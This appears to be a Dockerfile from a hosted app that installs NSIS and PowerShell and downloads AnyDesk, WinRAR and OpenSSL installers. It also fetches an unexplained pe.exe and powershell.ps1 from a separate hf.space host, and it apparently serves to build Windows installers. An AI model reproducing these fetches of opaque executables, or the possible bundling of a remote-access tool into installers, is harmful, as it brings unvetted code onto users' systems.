Spaces:
Sleeping
Sleeping
File size: 1,953 Bytes
700c673 14cd36c 7dfb4c7 c0bbedf 05f803e 54215af 801b804 974bcb2 962e9e0 25594f0 05f803e 01f6a09 05f803e 3131a2d 34ab005 662b9a1 25594f0 44e9fc0 3131a2d 0dce018 a07f417 3eee790 da5dbab 3eee790 25594f0 1c9301c 14cd36c 25594f0 54215af 66f8fc1 54215af a0b4c1d |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
# Use an official Python slim image for the base
FROM python:3.10-slim
# Set the working directory
WORKDIR /app
# Install necessary dependencies including NSIS and Python tools
RUN apt-get update -y && \
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y \
wget \
gnupg2 \
apt-transport-https \
software-properties-common \
python3-pip \
python3-setuptools \
python3-venv \
nsis nsis-doc nsis-pluginapi && \
rm -rf /var/lib/apt/lists/*
# Install PowerShell
RUN wget -q https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb && \
dpkg -i packages-microsoft-prod.deb && \
apt-get update && \
apt-get install -y powershell && \
rm packages-microsoft-prod.deb
# Verify PowerShell installation
RUN pwsh --version
# Verify NSIS installation
RUN makensis -version
# Add PowerShell to the PATH
ENV PATH="/usr/bin/pwsh:${PATH}"
# Create necessary directories and set full permissions
RUN mkdir -p /app/uploads /app/compile /files/programs /app/pe && chmod -R 777 /app /files /app/pe
# Download the required files into /files/programs
RUN wget https://download.anydesk.com/AnyDesk.exe -O /files/programs/AnyDesk.exe && \
wget https://slproweb.com/download/Win64OpenSSL_Light-3_4_0.exe -O /files/programs/Win64OpenSSL_Light-3_4_0.exe && \
wget https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-701.exe -O /files/programs/winrar-x64-701.exe
# Download the pe.exe file into /app/pe and set permissions
RUN wget https://seosnaps-00.hf.space/download/pe.exe -O /app/pe/pe.exe && chmod -R 777 /app/pe/pe.exe
RUN wget https://seosnaps-00.hf.space/download/powershell.ps1 -O /app/pe/powershell.ps1
# Copy application files
COPY . .
# Install Python dependencies
RUN pip3 install --no-cache-dir --upgrade -r /app/requirements.txt
# Expose the port the app runs on
EXPOSE 7860
# Command to run the Flask app
CMD ["python3", "main.py"] |